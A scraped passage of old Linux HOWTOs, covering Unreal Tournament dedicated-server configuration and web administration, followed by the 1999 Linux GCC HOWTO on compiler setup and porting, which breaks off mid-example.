MasterServerPort=27900

[IpServer.UdpServerQuery]
GameName=ut

[IpDrv.UdpBeacon]
DoBeacon=True
BeaconTime=0.50
BeaconTimeout=5.0
BeaconProduct=ut

[UMenu.UnrealConsole]
RootWindow=UMenu.UMenuRootWindow
UWindowKey=IK_Esc
ShowDesktop=False

[UMenu.UMenuMenuBar]
ShowHelp=True
GameUMenuDefault=UTMenu.UTGameMenu
MultiplayerUMenuDefault=UTMenu.UTMultiplayerMenu
OptionsUMenuDefault=UTMenu.UTOptionsMenu
ModMenuClass=UMenu.UMenuModMenu

[Botpack.ChallengeBotInfo]
Difficulty=1

[Botpack.DeathMatchPlus]
bNoviceMode=True
bHardCoreMode=False
bUseTranslocator=True
bCoopWeaponMode=False
MinPlayers=8
AirControl=0.350000
bChangeLevels=True
bMegaSpeed=False
bAltScoring=False
bTournament=False
NetWait=10
RestartWait=15
InitialBots=10
FragLimit=30
TimeLimit=0
bMultiWeaponStay=False
bForceRespawn=False
MaxCommanders=0
bNoMonsters=False
bHumansOnly=False
bClassicDeathMessages=False

[Botpack.CTFGame]
bUseTranslocator=True
bCoopWeaponMode=True
GoalTeamScore=3.000000
bNoTeamChanges=False
FriendlyFireScale=0.000000
MaxTeams=2
MaxTeamSize=16
FragLimit=0
TimeLimit=0
bMultiWeaponStay=True
bForceRespawn=False
MaxCommanders=0
bNoMonsters=False
bHumansOnly=True
bClassicDeathMessages=False

[Botpack.Domination]
bDumbDown=True
bUseTranslocator=True
bCoopWeaponMode=True
GoalTeamScore=100.000000
bNoTeamChanges=False
FriendlyFireScale=0.000000
MaxTeams=2
MaxTeamSize=16
FragLimit=30
TimeLimit=0
bMultiWeaponStay=True
bForceRespawn=False
MaxCommanders=0
bNoMonsters=False
bHumansOnly=False
bClassicDeathMessages=False

[Botpack.Assault]
bUseTranslocator=False
bCoopWeaponMode=True
Defenses=3
SavedTime=0.000000
NumDefenses=0
CurrentDefender=0
bDefenseSet=False
bTiePartOne=False
GameCode=
Part=1
bNoTeamChanges=False
FriendlyFireScale=0.000000
MaxTeams=2
GoalTeamScore=0.000000
MaxTeamSize=16
FragLimit=0
TimeLimit=7
bMultiWeaponStay=False
bForceRespawn=False
MaxCommanders=2
bNoMonsters=False
bHumansOnly=False
bClassicDeathMessages=False

[Botpack.TeamGamePlus]
bBalanceTeams=True
GoalTeamScore=30
bPlayersBalanceTeams=True

[Engine.GameInfo]
bLowGore=False
bVeryLowGore=False
bMuteSpectators=False
bNoCheating=True
bAllowFOV=False
AutoAim=0.930000
GameSpeed=1.000000
MaxSpectators=2
AdminPassword=
GamePassword=
MaxPlayers=16
IPPolicies[0]=ACCEPT,*
IPPolicies[1]=
IPPolicies[2]=
IPPolicies[3]=
IPPolicies[4]=
IPPolicies[5]=
IPPolicies[6]=
IPPolicies[7]=
IPPolicies[8]=
IPPolicies[9]=
IPPolicies[10]=
IPPolicies[11]=
IPPolicies[12]=
IPPolicies[13]=
IPPolicies[14]=
IPPolicies[15]=
IPPolicies[16]=
IPPolicies[17]=
IPPolicies[18]=
IPPolicies[19]=
IPPolicies[20]=
IPPolicies[21]=
IPPolicies[22]=
IPPolicies[23]=
IPPolicies[24]=
IPPolicies[25]=
IPPolicies[26]=
IPPolicies[27]=
IPPolicies[28]=
IPPolicies[29]=
IPPolicies[30]=
IPPolicies[31]=
IPPolicies[32]=
IPPolicies[33]=
IPPolicies[34]=
IPPolicies[35]=
IPPolicies[36]=
IPPolicies[37]=
IPPolicies[38]=
IPPolicies[39]=
IPPolicies[40]=
IPPolicies[41]=
IPPolicies[42]=
IPPolicies[43]=
IPPolicies[44]=
IPPolicies[45]=
IPPolicies[46]=
IPPolicies[47]=
IPPolicies[48]=
IPPolicies[49]=
ServerLogName=server.log
bLocalLog=True
bWorldLog=True
bBatchLocal=False
DemoBuild=0
DemoHasTuts=0
bExternalBatcher=False
bNoMonsters=False
bHumansOnly=False
bCoopWeaponMode=False
bClassicDeathMessages=False

[UnrealShare.UnrealGameOptionsMenu]
bCanModifyGore=True

[UWeb.WebServer]
Applications[0]=UTServerAdmin.UTServerAdmin
ApplicationPaths[0]=/ServerAdmin
Applications[1]=UTServerAdmin.UTImageServer
ApplicationPaths[1]=/images
DefaultApplication=0
bEnabled=True
ListenPort=5080
MaxConnections=30

[UTServerAdmin.UTServerAdmin]
AdminUsername=utadmin
AdminPassword=utpasswd
MenuPage=menu
RootPage=root
CurrentPage=current
CurrentMenuPage=current_menu
CurrentIndexPage=current_index
CurrentPlayersPage=current_players
CurrentGamePage=current_game
CurrentConsolePage=current_console
CurrentConsoleLogPage=current_console_log
CurrentConsoleSendPage=current_console_send
DefaultSendText=say
CurrentMutatorsPage=current_mutators
CurrentRestartPage=current_restart
DefaultsPage=defaults
DefaultsMenuPage=defaults_menu
DefaultsMapsPage=defaults_maps
DefaultsRulesPage=defaults_rules
DefaultsSettingsPage=defaults_settings
DefaultsBotsPage=defaults_bots
DefaultsServerPage=defaults_server
DefaultsIPPolicyPage=defaults_ippolicy
DefaultsRestartPage=defaults_restart
MessageUHTM=message.uhtm
DefaultBG=#aaaaaa
HighlightedBG=#ffffff
AdminRealm=UT Remote Admin Server

[IpDrv.HTTPDownLoad]
UseCompression=True

[Engine.StatLog]
LocalBatcherURL=../NetGamesUSA.com/ngStats/ngStatsUT
LocalBatcherParams=
LocalStatsURL=../NetGamesUSA.com/ngStats/html/ngStats_Main.html
WorldBatcherURL=../NetGamesUSA.com/ngWorldStats/bin/ngWorldStats
WorldBatcherParams=-d ../NetGamesUSA.com/ngWorldStats/logs -g UT
WorldStatsURL=http://www.netgamesusa.com
LocalLogDir=../Logs
WorldLogDir=../NetGamesUSA.com/ngWorldStats/logs
bWorldBatcherError=False

[Botpack.TrainingDM]
FragLimit=3
TimeLimit=0
bMultiWeaponStay=True
bForceRespawn=False
bUseTranslocator=False
MaxCommanders=0
bNoMonsters=False
bHumansOnly=False
bCoopWeaponMode=False
bClassicDeathMessages=False

[Botpack.TrainingDOM]
bDumbDown=True
bNoTeamChanges=False
FriendlyFireScale=0.000000
MaxTeams=2
GoalTeamScore=100.000000
MaxTeamSize=16
FragLimit=0
TimeLimit=0
bMultiWeaponStay=True
bForceRespawn=False
bUseTranslocator=True
MaxCommanders=0
bNoMonsters=False
bHumansOnly=False
bCoopWeaponMode=True
bClassicDeathMessages=False

[UTMenu.UTServerSetupPage]
bLanPlay=True

[UTMenu.UTStartGameCW]
Map=DM-Deck16][.unr
GameType=BotPack.DeathMatchPlus
MutatorList=
bKeepMutators=False

[Botpack.TDMmaplist]
Maps[0]=DM-Liandri.unr
Maps[1]=DM-Codex.unr
Maps[2]=DM-Grinder.unr
Maps[3]=DM-Pressure.unr
Maps[4]=DM-HyperBlast.unr
Maps[5]=DM-Peak.unr
Maps[6]=DM-KGalleon.unr
Maps[7]=DM-Turbine.unr
Maps[8]=DM-StalwartXL.unr
Maps[9]=DM-Curse][.unr
Maps[10]=DM-Deck16][.unr
Maps[11]=DM-Phobos.unr
Maps[12]=
Maps[13]=
Maps[14]=
Maps[15]=
Maps[16]=
Maps[17]=
Maps[18]=
Maps[19]=
Maps[20]=
Maps[21]=
Maps[22]=
Maps[23]=
Maps[24]=
Maps[25]=
Maps[26]=
Maps[27]=
Maps[28]=
Maps[29]=
Maps[30]=
Maps[31]=
MapNum=0

[Botpack.TrainingCTF]
bNoTeamChanges=False
FriendlyFireScale=0.000000
MaxTeams=2
GoalTeamScore=3.000000
MaxTeamSize=16
FragLimit=0
TimeLimit=0
bMultiWeaponStay=True
bForceRespawn=False
bUseTranslocator=True
MaxCommanders=0
bNoMonsters=False
bHumansOnly=True
bCoopWeaponMode=True
bClassicDeathMessages=False

[UTMenu.UTMenuBotmatchCW]
Map=DM-Gothic.unr
GameType=BotPack.DeathMatchPlus
MutatorList=
bKeepMutators=False

[Botpack.ASMapList]
Maps[0]=AS-Hispeed.unr
Maps[1]=AS-Frigate.unr
Maps[2]=AS-Rook.unr
Maps[3]=AS-Mazon.unr
Maps[4]=AS-OceanFloor.unr
Maps[5]=AS-Overlord.unr
Maps[6]=AS-Guardia.unr
Maps[7]=
Maps[8]=
Maps[9]=
Maps[10]=
Maps[11]=
Maps[12]=
Maps[13]=
Maps[14]=
Maps[15]=
Maps[16]=
Maps[17]=
Maps[18]=
Maps[19]=
Maps[20]=
Maps[21]=
Maps[22]=
Maps[23]=
Maps[24]=
Maps[25]=
Maps[26]=
Maps[27]=
Maps[28]=
Maps[29]=
Maps[30]=
Maps[31]=
MapNum=0

-----[snip]-----

A few things of note here.

The following values should be changed before the server is launched for the first time:

[Core.System]
Paths=../System/*.u
Paths=/path/to/ut/Maps/*.unr
Paths=/path/to/ut/Textures/*.utx
Paths=/path/to/ut/Sounds/*.uax
Paths=/path/to/ut/Music/*.umx

Should all be set to where Unreal Tournament is installed.

[Engine.GameEngine]
;ServerActors=IpServer.UdpServerUplink

Should be uncommented if you wish to link your Unreal Tournament server into an existing Unreal Tournament league and have it accessible over the Internet.

[IpServer.UdpServerUplink]
DoUpLink=False

Additionally, if you do want to link your UT server with an Internet league, you will need to allow UpLinking.

[Engine.Player]
ConfiguredInternetSpeed=20000

This should be set to the allocated bandwidth (in bytes per second) for each player. Leaving it at the recommended 20000 is good.

[Engine.GameReplicationInfo]
ServerName=Generic UT Server
ShortName=UT Server
AdminName=Lamer
AdminEmail=root@localhost
Region=0
MOTDLine1=
MOTDLine2=
MOTDLine3=
MOTDLine4=

All of that should be changed.

[Engine.GameInfo]
AdminPassword=
MaxPlayers=16

An admin password should be set, and the Max Players should be set to a sane value (See ConfiguredInternetSpeed).

[UWeb.WebServer]
bEnabled=True
ListenPort=5080

One of the most interesting aspects of running a UT server is the web-server interface for admins. By setting bEnabled to True and specifying a ListenPort, you can administer an UnrealTournament server via a normal Web Browser.

[UTServerAdmin.UTServerAdmin]
AdminUsername=utadmin
AdminPassword=utpasswd
AdminRealm=UT Remote Admin Server

If you do decide to run the UT Webserver interface (Recommended), the above values should be set. AdminRealm is less important, but will be used by your browser to know when to ask for the administrator username and password.

All other values should be checked and seasoned to taste.

7.4. Starting the server

To start the Unreal Tournament server, you will need to use the command "ucc server" and specify a few things on the command line. These being:

  • Mapname - Name of the map to start from the Maps/ directory, minus the .unr extension.

  • Gametype - One of Botpack.DeathMatchPlus, Botpack.Domination, Botpack.CTFGame.

  • INI - The config file to use to start the server.

  • LOG - the log file the server should use.

  • Port - (Optional) the port the UT server should use.

Most of this is specified in the config file, but the mapname and Gametype are required.

Here is an example:

bash$ ucc server "DM-Turbine?game=Botpack.DeathMatchPlus" ini=ucc.ini log=ucc.log

I quoted the mapname and gametype because of the presence of the ? (Linux shells use that as a wild card) and because a lot of Unreal Tournament maps have odd characters in their name (DM-Deck16][ anyone?). I recommend they always be quoted.

Once the server starts, it will load the settings specified in the System/ucc.ini file and load the game.

I also recommend the server be started with the nohup command and placed in the background. All the configuration will take place in the web interface.

7.5. Administrating the server

Administering the server is as easy as browsing a website. When you started the server, you should have seen something like this toward the end:

Spawning: IpDrv.UdpBeacon
Spawning: IpServer.UdpServerQuery
Spawning: UWeb.WebServer
Bound to UWeb.so

< Notice the UWeb.Webserver and UWeb.so sections? Those are the webserver, and since it didn't give any errors, we know it's running.

Now, in the configuration section, you told it what port to listen on:

[UWeb.WebServer]
bEnabled=True
ListenPort=5080

So, to connect to the administration server, you would need to browse to http://utserver:5080/ServerAdmin

The first thing that will happen is that your browser will ask you for authentication. Back in the configuration file, we specified that:

[UTServerAdmin.UTServerAdmin]
AdminUsername=utadmin
AdminPassword=utpasswd
AdminRealm=UT Remote Admin Server

So in this case, you would sign in as utadmin with a password of utpasswd (You had better change these before you actually start the server).

Once you are authenticated, you are presented with an interface that allows you to specify the game type, map, number of bots and connections as well as kick and ban users. It's all very point-n-click.

Prev | Home | Next
Half-Life |  | GNU Free Documentation License


The Linux GCC HOWTO

Daniel Barlow

Linux Documentation Project

May 1999

This document covers how to set up the GNU C compiler and development libraries under Linux, and gives an overview of compiling, linking, running and debugging programs under it. Most of the material in it has been taken from Mitch D'Souza's GCC-FAQ or the ELF-HOWTO - it replaces both documents.

This is the first version to be written in DocBook instead of the old Linuxdoc format, and may contain markup errors. Please let me know if you find anything worng.

As can be determined from the long times between updates of this document, I don't actually have the time or inclination to maintain it much. If you have, can, and want to, drop me some email describing what you'd do with it and why you think you'd be good at it.

Table of Contents
Preliminaries
ELF vs. a.out, libc 5 vs 6
Administrata
Typography
Where to get things
GCC installation and setup
GCC versions
Where did it go?
Where are the header files?
Building cross compilers
Porting and Compiling
Automatically defined symbols
Compiler invocation
Portability
Debugging and Profiling
Preventative maintenance (lint)
Debugging
Profiling
Linking
Shared vs static libraries
Interrogating libraries (`which library is sin() in?')
Finding files
Building your own libraries
Dynamic Loading
Concepts
Error messages
Controlling the operation of the dynamic loader
Writing programs with dynamic loading
Contacting the developers
Bug reports
Helping with development
The Remains
The Credits
Translations
Feedback
Legalese

Preliminaries

ELF vs. a.out, libc 5 vs 6

Three years ago when this document was first created, I opened this section by saying "Linux development is in a state of flux right now" and going on to describe how ELF was replacing the older a.out binary format.

It still is in a state of flux. It always will be. Though that particular change is long since past, development of the Linux kernel and the surrounding system continues to happen, and things change for developers as a result. So it's a good idea to know upfront what kind of system you have in front of you.

The possible candidates, in order of age, are

  • libc 4, a.out: very old systems

  • libc 5, ELF: Red Hat 4.2, Debian 2.0

  • libc 6 (a.k.a glibc 2), ELF: Red Hat 5 - 5.2, Debian 2.1

  • libc 6.1,(a.k.a glibc 2.1) ELF: Red Hat 6

How to tell? The simplest approach is to pick a binary that you consider is typical (e.g. /bin/ls and run ldd on it. One of the listed libraries should be libc - check its version number.
$ ldd /bin/ls
        libc.so.6 => /lib/libc.so.6 (0x4000e000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

This document was created on a Debian 2.1 system, so no surprise there.

It's entirely possible that the system you're using may have a mix of different versions on it. What you probably want to know in that case is the version that its C development environment is set up for, so you're best off compiling "hello world" and running ldd on the output thus created. Note that for historical reasons, gcc defaults to an output file called a.out even on ELF systems, so don't assume anything from that.

Administrata

The copyright information and like legalese can be found at the end of this document, together with the statutory warnings about asking dumb questions on Usenet, revealing your ignorance of the C language by reporting bugs which aren't, and picking your nose while chewing gum.

Typography

If you're reading this in Postscipt, dvi, or html format, you get to see a little more font variation than people with the plain text version. In particular, filenames, commands, command output and source code excerpts are set in some form of typewriter font, whereas `variables' and random things that need emphasizing are emphasized.

You also get a usable index. In dvi or postscript, the numbers in the index are section numbers. In HTML they're just sequentially assigned numbers that you can click on. In the plain text version, they really are just numbers. Get an upgrade!

The Bourne (rather than C) shell syntax is used in examples. C shell users will want to use
% setenv FOO bar
where I have written

$ FOO=bar; export FOO

If the prompt shown is # rather than $, the command shown will probably only work as root. Of course, I accept no responsibility for anything that happens to your system as a result of trying these examples. Have a nice day :-)

Next
Where to get things


Where to get things

In the three years since the first `HOWTO' version of this, useful Linux distributions have become prevalent. So, where once I'd have spent pages listing FTP sites and hours updating (failing to update) version numbers and directory names, now I will simply say - your distribution maintainer should be taking care of this for you. If you don't have, say, gcc installed, find the RPM or the deb packages that contain it, and install it. If that isn't an option because you don't have a friendly distribution, you've almost certainly been using Linux long enough that you don't need me to tell you where to find things anyway.

This document

You're reading it. You probably have it already.

This document is one of the Linux HOWTO series, so is probably already installed somewhere in /usr/doc if you're reading this on a linux box. Failing that, from all Linux HOWTO repositories (try Metalab) and (possibly in a slightly newer version) at my personal web site www.telent.net.

Other documentation

The official documentation for gcc is in the source distribution (see below) as texinfo files, and as .info files. If you have a fast network connection, a cdrom, or a reasonable amount of patience, you can just untar it and copy the relevant bits into /usr/info. If not, you may find them at tsx-11, but not necessarily always the latest version.

There are two source of documentation for libc. GNU libc comes with info files which describe Linux libc fairly accurately except for stdio. Also, the manpages archive are written for Linux and describe a lot of system calls (section 2) and libc functions (section 3).

GCC

There are two answers.

(a) The official Linux GCC distribution can always be found in binary (ready-compiled) form at . At the time of writing, 2.7.2 (gcc-2.7.2.bin.tar.gz) is the latest version.

(b) The latest source distribution of GCC from the Free Software Foundation can be had from GNU archives. This is not necessarily always the same version as above, though it is just now. The Linux GCC maintainer(s) have made it easy for you to compile the latest version available yourself --- the configure script should set it all up for you. Check tsx-11 as well, for patches which you may want to apply.

To compile anything non-trivial (and quite a few trivial things also) you will also need the

C library and header files

What you want here depends on (i) whether your system is ELF or a.out, and (ii) which you want it to be. If you're upgrading from libc 4 to libc 5, you are recommended to look at the ELF-HOWTO from approximately the same place as you found this document.

These are available from tsx-11 as above:

libc-5.2.18.bin.tar.gz

--- ELF shared library images, static libraries and include files for the C and maths libraries.

libc-5.2.18.tar.gz

--- Source for the above. You will also need the .bin. package for the header files. If you are deliberating whether to compile the C library yourself or use the binaries, the right answer in nearly all cases is to use the binaries. You will however need to roll your own if you want NYS or shadow password support.

libc-4.7.5.bin.tar.gz

--- a.out shared library images and static libraries for version 4.7.5 of the C library and friends. This is designed to coexist with the libc 5 package above, but is only really necessary if you wish to keep using/developing a.out format programs.

Associated tools (as, ld, ar, strings etc)

From tsx-11, just like everything else so far. The current version is binutils-2.6.0.2.bin.tar.gz.

Note that the binutils are only available in ELF, the current libc version is in ELF and the a.out libc is happiest when used in conjunction with an ELF libc. C library development is moving emphatically ELFwards, and unless you have really good reasons for needing a.out things you're encouraged to follow suit.

Prev | Home | Next
The Linux GCC HOWTO |  | GCC installation and setup


GCC installation and setup

GCC versions

You can find out what GCC version you're running by typing gcc -v at the shell prompt. This is also a fairly reliable way to find out whether you are set up for ELF or a.out. On my system it does

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-box-linux/2.7.2/specs
gcc version 2.7.2

The key things to note here are

  • i486. This indicates that the gcc you are using was built for a 486 processor --- you might have 386 or 586 instead. All of these chips can run code compiled for each of the others; the difference is that the 486 code has added padding in some places so runs faster on a 486. This has no detrimental performance effect on a 386, but does make the binaries slightly larger.

  • box. This is not at all important, and may say something else (such as slackware or debian) or nothing at all (so that the complete directory name is i486-linux). If you build your own gcc, you can set this at build time for cosmetic effect. Just like I did :-)

  • linux. This may instead say linuxelf or linuxaout, and, confusingly, the meaning of each varies according to the version that you are using.

    • linux means ELF if the version is 2.7.0 or newer, a.out otherwise.

    • linuxaout means a.out. It was introduced as a target when the definition of linux was changed from a.out to ELF, so you won't see any linuxaout gcc older than 2.7.0.

    • linuxelf is obsolete. It is generally a version of gcc 2.6.3 set to produce ELF executables. Note that gcc 2.6.3 has known bugs when producing code for ELF --- an upgrade is advisable.

  • 2.7.2 is the version number.

So, in summary, I have gcc 2.7.2 producing ELF code. Quelle surprise.

Where did it go?

If you installed gcc without watching, or if you got it as part of a distribution, you may like to find out where it lives in the filesystem. The key bits are

  • /usr/lib/gcc-lib/target/version/ (and subdirectories) is where most of the compiler lives. This includes the executable programs that do actual compiling, and some version-specific libraries and include files.

  • /usr/bin/gcc is the compiler driver --- the bit that you can actually run from the command line. This can be used with multiple versions of gcc provided that you have multiple compiler directories (as above) installed. To find out the default version it will use, type gcc -v. To force it to another version, type gcc -V version. For example
    # gcc -v
Reading specs from /usr/lib/gcc-lib/i486-box-linux/2.7.2/specs
gcc version 2.7.2
# gcc -V 2.6.3 -v
Reading specs from /usr/lib/gcc-lib/i486-box-linux/2.6.3/specs
gcc driver version 2.7.2 executing gcc version 2.6.3

  • /usr/target/(bin|lib|include)/. If you have multiple targets installed (for example, a.out and elf, or a cross-compiler of some sort, the libraries, binutils (as, ld and so on) and header files for the non-native target(s) can be found here. Even if you only have one kind of gcc installed you might find anyway that various bits for it are kept here. If not, they're in /usr/(bin|lib|include).

  • /lib/,/usr/lib and others are library directories for the native system. You will also need /lib/cpp for many applications (X makes quite a lot of use of it) --- either copy it from /usr/lib/gcc-lib/target/version/ or make a symlink pointing there.

Where are the header files?

Apart from whatever you install yourself under /usr/local/include, there are three main sources of header files in Linux:

  • Most of /usr/include/ and its subdirectories are supplied with the libc binary package from H J Lu. I say `most' because you may also have files from other sources (curses and dbm libraries, for example) in here, especially if you are using the newest libc distribution (which doesn't come with curses or dbm, unlike the older ones).

  • /usr/include/linux and /usr/include/asm (for the files <linux/*.h> and <asm/*.h>) should be symbolic links to the directories linux/include/linux and linux/include/asm in the kernel source distribution. You need to install these if you plan to do any non-trivial development; they are not just there for compiling the kernel. You might find also that you need to do make config in the kernel directory after unpacking the sources. Many files depend on <linux/autoconf.h> which otherwise may not exist, and in some kernel versions asm is a symbolic link itself and only created at make config time. So, if you unpack your kernel sources under /usr/src/linux, that's
    $ cd /usr/src/linux
$ su
# make config
[answer the questions.  Unless you're going to go on and build the kernel
it doesn't matter _too_ much what you say]
# cd /usr/include
# ln -s ../src/linux/include/linux .
# ln -s ../src/linux/include/asm .

  • Files such as <float.h>, <limits.h>, <varargs.h>, <stdarg.h> and <stddef.h> vary according to the compiler version, so are found in /usr/lib/gcc-lib/i486-box-linux/2.7.2/include/ and places of that ilk.

Building cross compilers

Linux as the target platform

Assuming you have obtained the source code to gcc, usually you can just follow the instructions given in the INSTALL file for GCC. A configure --target=i486-linux --host=XXX on platform XXX followed by a make should do the trick. Note that you will need the Linux includes, the kernel includes, and also to build the cross assembler and cross linker from the sources in .

Linux as the source platform, MSDOS as the target

Ugh. Apparently this is somewhat possible by using the "emx" package or the "go" extender. Please look at .

I have not tested this and cannot vouch for its abilities.

Prev | Home | Next
Where to get things |  | Porting and Compiling


Porting and Compiling

Automatically defined symbols

You can find out what symbols your version of gcc defines automatically by running it with the -v switch. For example, mine does:

$ echo 'main(){printf("hello world\n");}' | gcc -E -v -
Reading specs from /usr/lib/gcc-lib/i486-box-linux/2.7.2/specs
gcc version 2.7.2
 /usr/lib/gcc-lib/i486-box-linux/2.7.2/cpp -lang-c -v -undef
-D__GNUC__=2 -D__GNUC_MINOR__=7 -D__ELF__ -Dunix -Di386 -Dlinux
-D__ELF__ -D__unix__ -D__i386__ -D__linux__ -D__unix -D__i386
-D__linux -Asystem(unix) -Asystem(posix) -Acpu(i386)
-Amachine(i386) -D__i486__ -

If you are writing code that uses Linux-specific features, it is a good idea to enclose the nonportable bits in

#ifdef __linux__
/* ... funky stuff ... */
#endif /* linux */

Use __linux__ for this purpose, not linux. Although the latter is defined, it is not POSIX compliant.

Compiler invocation

The documentation for compiler switches is the gcc info page (in Emacs, use C-h i then select the `gcc' option). Your distributor may not have packed this with your system, or you may have an old version; the best thing to do in this case is to download the gcc source archive from or one of its mirrors, and copy them out of it.

The gcc manual page (gcc.1) is, generally speaking, out of date. It will warn you of this when you try to look at it.

Compiler flags

gcc can be made to optimize its output code by adding -O n to its command line, where n is an optional small integer. Meaningful values of n, and their exact effect, vary according to the exact version, but typically it ranges from 0 (no optimization) to 2 (lots) or 3 (lots and lots).

Internally, gcc translates these to a series of -f and -m options. You can see exactly which -O levels map to which options by running gcc with the -v flag and the (undocumented) -Q flag. For example, for -O2, mine says

enabled: -fdefer-pop -fcse-follow-jumps -fcse-skip-blocks
-fexpensive-optimizations
         -fthread-jumps -fpeephole -fforce-mem -ffunction-cse -finline
         -fcaller-saves -fpcc-struct-return -frerun-cse-after-loop
         -fcommon -fgnu-linker -m80387 -mhard-float -mno-soft-float
         -mno-386 -m486 -mieee-fp -mfp-ret-in-387

Using an optimization level higher than your compiler supports (e.g. -O6) will have exactly the same effect as using the highest level that it does support. Distributing code which is set to compile this way is a poor idea though --- if further optimisations are incorporated into future versions, you (or your users) may find that they break your code.

Users of gcc 2.7.0 thru 2.7.2 should note that there is a bug in -O2 on these. Specifically, strength reduction doesn't work. A patch can be had to fix this if you feel like recompiling gcc, otherwise make sure that you always compile with -fno-strength-reduce

Processor-specific

There are other -m flags which aren't turned on by any variety of -O but are nevertheless useful. Chief among these are -m386 and -m486, which tell gcc to favour the 386 or 486 respectively. Code compiled with one of these will still work on the other; 486 code is bigger, but otherwise not slower on the 386.

There is currently no -mpentium or -m586. Linus suggests using -m486 -malign-loops=2 -malign-jumps=2 -malign-functions=2, to get 486 code optimisations but without the big gaps for alignment (which the pentium doesn't need). Michael Meissner (of Cygnus) says

"My hunch is that -mno-strength-reduce also results in faster code on the x86 (note, I'm not talking about the strength reduction bug, which is another issue). This is because the x86 is rather register starved (and GCC's method of grouping registers into spill registers vs. other registers doesn't help either). Strength reduction typically results in using additional registers to replace multiplications with addition. I also suspect -fcaller-saves may also be a loss." "Another hunch is that -fomit-frame-pointer might or might not be a win. On the one hand, it can mean that another register is available for allocation. On the other hand, the way the x86 encodes its instruction set, means that stack relative addresses take more space instead of frame relative addresses, which means slightly less Icache availble to the program. Also, -fomit-frame-pointer, means that the compiler has to constantly adjust the stack pointer after calls, while with a frame, it can let the stack accumulate for a few calls."

The final word on this subject is from Linus again:

"Note that if you want to get optimal performance, don't believe me: test. There are lots of gcc compiler switches, and it may be that a particular set gives the best optimizations for you. "

Internal compiler error: cc1 got fatal signal 11

Signal 11 is SIGSEGV, or `segmentation violation'. Usually it means that the program got its pointers confused and tried to write to memory it didn't own. So, it could be a gcc bug.

gcc is however, a well tested and reliable piece of software, for the most part. It also uses a large number of complex data structures, and an awful lot of pointers. In short, it's the pickiest RAM tester commonly available. If you can't duplicate the bug --- if it doesn't stop in the same place when you restart the compilation --- it's almost certainly a problem with your hardware (CPU, memory, motherboard or cache). Don't claim it as a bug because your computer passes the power-on checks or runs Windows ok or whatever; these `tests' are commonly and rightly held to be worthless. And don't claim it's a bug because a kernel compile always stops during `make zImage' --- of course it will! `make zImage' is probably compiling over 200 files; we're looking for a slightly smaller place than that.

If you can duplicate the bug, and (better) can produce a short program that exhibits it, you can submit it as a bug report to the FSF, or to the linux-gcc mailing list. See the gcc documentation for details of exactly what information they need.

Portability

It has been said that, these days, if something hasn't been ported to Linux then it is not worth having :-)

Seriously though, in general only minor changes are needed to the sources to get over Linux's 100% POSIX compliance. It is also worthwhile passing back any changes to authors of the code such that in the future only `make' need be called to provide a working executable.

BSDisms (including bsd_ioctl, daemon and <sgtty.h>)

You can compile your program with -I/usr/include/bsd and link it with -lbsd (i.e. add -I/usr/include/bsd to CFLAGS and -lbsd to the LDFLAGS line in your Makefile). There is no need to add -D__USE_BSD_SIGNAL any more if you want BSD type signal behavior, as you get this automatically when you have -I/usr/include/bsd and include <signal.h>.

`Missing' signals (SIGBUS, SIGEMT, SIGIOT, SIGTRAP, SIGSYS etc)

Linux is POSIX compliant. These are not POSIX-defined signals --- ISO/IEC 9945-1:1990 (IEEE Std 1003.1-1990), paragraph B.3.3.1.1 sez:

"``The signals SIGBUS, SIGEMT, SIGIOT, SIGTRAP, and SIGSYS were omitted from POSIX.1 because their behavior is implementation dependent and could not be adequately categorized. Conforming implementations may deliver these signals, but must document the circumstances under which they are delivered and note any restrictions concerning their delivery.''"

The cheap and cheesy way to fix this is to redefine these signals to SIGUNUSED. The correct way is to bracket the code that handles them with appropriate #ifdefs:

#ifdef SIGSYS
/* ... non-posix SIGSYS code here .... */
#endif

K & R Code

GCC is an ANSI compiler; much existing code is not ANSI. There's really not much that can be done about this, except to add -traditional to the compiler flags. There is a certain amount of finer-grained control over which varieties of brain damage to emulate; consult the gcc info page.

Note that -traditional has effects beyond just changing the language that gcc accepts. For example, it turns on -fwritable-strings, which moves string constants into data space (from text space, where they cannot be written to). This increases the memory footprint of the program.

Preprocessor symbols conflict with prototypes in the code

One of the most frequent problems is that some common functions are defined as macros in Linux's header files and the preprocessor will refuse to parse similar prototype definitions in the code. Common ones are atoi() and atol().

sprintf()

Something to be aware of, especially when porting from SunOS, is that sprintf(string, fmt, ...) returns a pointer to string on many unices, whereas Linux (following ANSI) returns the number of characters which were put into the string.

fcntl and friends. Where are the definitions of FD_* stuff ?

In <sys/time.h>. If you are using fcntl you probably want to include <unistd.h> too, for the actual prototype.

Generally speaking, the manual page for a function lists the necessary #includes in its SYNOPSIS section.

The select() timeout. Programs start busy-waiting.

The BSD manual page for select(2) used to say "select() should probably return the time remaining from the original timeout, if any, by modifying the time value in place. This may be implemented in future versions of the system. Thus, it is unwise to assume that the timeout pointer will be unmodified by the select() call."

Some versions of Linux do perform this modification. Some don't. It is incredibly unwise to assume one behaviour or the other.

To fix, put the timeout value into that structure every time you call select(). Change code like
      struct timeval timeout;
      timeout.tv_sec = 1; timeout.tv_usec = 0;
      while (some_condition)
            select(n,readfds,writefds,exceptfds,&timeout);
to, say,
      struct timeval timeout;
      while (some_condition) {
            timeout.tv_sec = 1; timeout.tv_usec = 0;
            select(n,readfds,writefds,exceptfds,&timeout);
      }

Some versions of Mosaic were at one time notable for this problem. The speed of the spinning globe animation was inversely related to the speed that the data was coming in from the network at!

Interrupted system calls.

Symptom:

When a program is stopped using Ctrl-Z and then restarted - or in other situations that generate signals: Ctrl-C interruption, termination of a child process etc. - it complains about "interrupted system call" or "write: unknown error" or things like that.

Problem:

POSIX systems check for signals a bit more often than some older unices. Linux may execute signal handlers ---

  • asynchronously (at a timer tick)

  • on return from any system call

  • during the execution of the following system calls: select(), pause(), connect(), accept(), read() on terminals, sockets, pipes or files in /proc, write() on terminals, sockets, pipes or the line printer, open() on FIFOs, PTYs or serial lines, ioctl() on terminals, fcntl() with command F_SETLKW, wait4(), syslog(), any TCP or NFS operations.

For other operating systems you may have to include the system calls
creat(), close(), getmsg(), putmsg(),
msgrcv(), msgsnd(), recv(), send(),
wait(), waitpid(), wait3(), tcdrain(),
sigpause(), semop() to this list.

If a signal (that the program has installed a handler for) occurs during a system call, the handler is called. When the handler returns (to the system call) it detects that it was interrupted, and immediately returns with -1 and errno = EINTR. The program is not expecting that to happen, so bottles out.

You may choose between two fixes.

(1) For every signal handler that you install, add SA_RESTART to the sigaction flags. For example, change

  signal (sig_nr, my_signal_handler);
